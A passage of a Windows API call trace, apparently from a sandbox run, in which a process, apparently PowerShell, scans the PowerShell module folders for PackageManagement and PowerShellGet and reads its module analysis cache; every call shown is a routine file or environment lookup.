[0169.831] FindNextFileW (in: hFindFile=0x401a70, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.831] FindClose (in: hFindFile=0x401a70 | out: hFindFile=0x401a70) returned 1 [0169.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0169.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0169.831] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.832] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b8) returned 1 [0169.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb7c | out: lpFileInformation=0x5a2eb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.916] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b4) returned 1 [0169.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.916] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0169.918] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0169.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8dc) returned 1 [0169.919] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25b9e40 | out: lpFileInformation=0x25b9e40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0169.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d8) returned 1 [0169.937] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x5a2db34, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0169.938] CoTaskMemAlloc (cb=0x20c) returned 0x39b038 [0169.938] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x39b038 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0169.938] CoTaskMemFree (pv=0x39b038) [0169.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0169.938] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0169.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0169.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0169.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0169.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e330) returned 1 [0169.942] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc [0169.942] GetFileType (hFile=0x3dc) returned 0x1 [0169.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e32c) returned 1 [0169.943] GetFileType (hFile=0x3dc) returned 0x1 [0169.945] ReadFile (in: hFile=0x3dc, lpBuffer=0x25baff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3a4, lpOverlapped=0x0 | out: lpBuffer=0x25baff4*, lpNumberOfBytesRead=0x5a2e3a4*=0x1000, lpOverlapped=0x0) returned 1 [0170.005] ReadFile (in: hFile=0x3dc, lpBuffer=0x25babc3, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x5a2e3ac, lpOverlapped=0x0 | out: lpBuffer=0x25babc3*, lpNumberOfBytesRead=0x5a2e3ac*=0x1, lpOverlapped=0x0) returned 1 [0170.015] ReadFile (in: hFile=0x3dc, lpBuffer=0x25baff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e398, lpOverlapped=0x0 | out: lpBuffer=0x25baff4*, lpNumberOfBytesRead=0x5a2e398*=0x1000, lpOverlapped=0x0) returned 1 [0170.021] ReadFile (in: hFile=0x3dc, lpBuffer=0x25babc1, nNumberOfBytesToRead=0x13, lpNumberOfBytesRead=0x5a2e3ac, lpOverlapped=0x0 | out: lpBuffer=0x25babc1*, lpNumberOfBytesRead=0x5a2e3ac*=0x13, lpOverlapped=0x0) returned 1 [0170.021] ReadFile (in: hFile=0x3dc, lpBuffer=0x25baff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3ac, lpOverlapped=0x0 | out: lpBuffer=0x25baff4*, lpNumberOfBytesRead=0x5a2e3ac*=0x1000, lpOverlapped=0x0) returned 1 [0170.025] ReadFile (in: hFile=0x3dc, lpBuffer=0x25baff4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3ac, lpOverlapped=0x0 | out: lpBuffer=0x25baff4*, lpNumberOfBytesRead=0x5a2e3ac*=0x4fd, lpOverlapped=0x0) returned 1 [0170.026] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x5a2e1b4, nSize=0xf2 | out: lpBuffer="") returned 0x0 [0170.116] CloseHandle (hObject=0x3dc) returned 1 [0170.117] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0170.129] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0170.129] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0170.129] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0170.130] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0170.130] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0170.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0170.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0170.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0170.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401ab0 [0170.131] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.131] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0170.132] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.132] FindClose (in: hFindFile=0x401ab0 | out: hFindFile=0x401ab0) returned 1 [0170.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0170.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0170.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.132] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b8) returned 1 [0170.133] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb7c | out: lpFileInformation=0x5a2eb7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b4) returned 1 [0170.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0170.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0170.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8dc) returned 1 [0170.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x25cd0b0 | out: lpFileInformation=0x25cd0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0170.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d8) returned 1 [0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0170.139] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0170.144] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0170.164] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0170.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0170.271] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0170.271] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0170.272] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x401ab0 [0170.273] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.273] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0170.274] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0170.274] FindNextFileW (in: hFindFile=0x401ab0, lpFindFileData=0x5a2e91c | out: lpFindFileData=0x5a2e91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.274] FindClose (in: hFindFile=0x401ab0 | out: hFindFile=0x401ab0) returned 1 [0170.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8d4) returned 1 [0170.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb34) returned 1 [0170.275] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0170.275] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0170.275] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0170.276] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0170.276] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0170.277] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0170.277] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0170.277] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0170.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0170.277] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0170.278] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0170.278] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0170.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8b4) returned 1 [0170.278] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb78 | out: lpFileInformation=0x5a2eb78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0170.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8b0) returned 1 [0170.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb64) returned 1 [0170.279] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0170.279] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0170.280] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, 